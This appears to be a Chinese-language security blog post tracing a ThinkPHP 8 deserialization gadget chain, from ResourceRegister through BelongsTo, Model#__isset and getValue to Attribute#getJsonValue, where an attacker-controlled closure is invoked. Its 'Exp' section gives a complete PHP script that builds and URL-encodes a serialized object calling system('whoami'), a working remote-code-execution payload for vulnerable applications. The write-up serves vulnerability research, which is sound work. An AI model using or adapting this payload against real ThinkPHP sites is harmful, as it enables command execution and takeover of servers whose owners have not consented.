再看TP8 Gadget Chains

前言

前段时间看到thinkphp CVE-2024-44902ThinkPHP8反序列化调用链分析这两篇文章,今天突然兴起,想再测试下之前自动化检测POP链工作的效果,看看有没有什么新的利用链(很遗憾并没有),不过还是有些额外的利用点,在这里分享一下(建议先过一下原有分析)。

__call

在此处gadget中:

1
2
3
4
protected function register() {
$this->registered = true;
$this->resource->parseGroupRule($this->resource->getRule());
}

原文提到:

getRule方法是无参的,没有办法控制__call方法中的$args参数

其实这里我们还是可以耐心寻找下的,从而找到一些新的利用点

比如Manager#__call方法

1
2
3
4
5
6
7
public function __call($method, $args) {
if ($this->query) {
// 执行基础查询
$this->baseQuery();
......
}
}

我们选择子类为BelongsTo类,即可走入

1
2
3
4
5
6
protected function baseQuery(): void {
if (empty($this->baseQuery)) {
if (isset($this->parent->{$this->foreignKey})) {
......
}
}

$this->parent->{$this->foreignKey}触发__isset方法,来到Model#__isset

1
2
3
public function __isset(string $name): bool {
return !is_null($this->getAttr($name));
}

这里就可以走到经典的Attribute#getJsonValue实现方法调用了,为了方便理解我们还是跟一下,getAttr方法内容如下:

1
2
3
4
5
6
7
8
9
10
11
public function getAttr(string $name) {
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}

return $this->getValue($name, $value, $relation);
}

其中$name$value都是我们可控的,继续看getValue方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
protected function getValue(string $name, $value, bool|string $relation = false) {
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);

if (array_key_exists($fieldName, $this->get)) {
return $this->get[$fieldName];
}

$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}

if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
}
......
}
$fieldName`其实就是`$name`,这里也是很容易走到`getJsonValue
protected function getJsonValue(string $name, $value) {
if (is_null($value)) {
return $value;
}

foreach ($this->withAttr[$name] as $key => $closure) {
if ($this->jsonAssoc) {
$value[$key] = $closure($value[$key], $value);
} else {
$value->$key = $closure($value->$key, $value);
}
}

return $value;
}

最终在$closure($value[$key], $value)即可进行任意方法调用

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
namespace think\route {
class ResourceRegister {
public $resource;

public function __construct($func, $param) {
$this->resource = new \think\model\relation\BelongsTo($func, $param);
}
}
}

namespace think\model\relation {
class BelongsTo {
protected $query = true;
protected $parent;
protected $foreignKey;

public function __construct($func, $param) {
$this->parent = new \think\model\Pivot($func, $param);
$this->foreignKey = "key";
}
}
}

namespace think\model\concern {
trait Attribute {
private $data;
private $withAttr;
protected $json;
protected $jsonAssoc;
protected $strict=true;
}
}

namespace think {
abstract class Model {
use \think\model\concern\Attribute;

private $data;
private $withAttr;
protected $json;
protected $jsonAssoc;

function __construct($func, $param)
{
$this->data = ["key" => ["key" => $param]];
$this->jsonAssoc = true;
$this->withAttr = ["key" => ["key" => $func]];
$this->json = ["key"];
}
}
}

namespace think\model
{
use \think\Model;

class Pivot extends Model
{
}
}

namespace {
$exp = new think\route\ResourceRegister("system", "whoami");
echo urlencode(serialize($exp));
}

后话

后来发现在这篇文章中同样有个Convertion#__toStringAttribute#getJsonValue的链,也是可以了解一下的(反序列化gadget chain居然还能申CVE也是神奇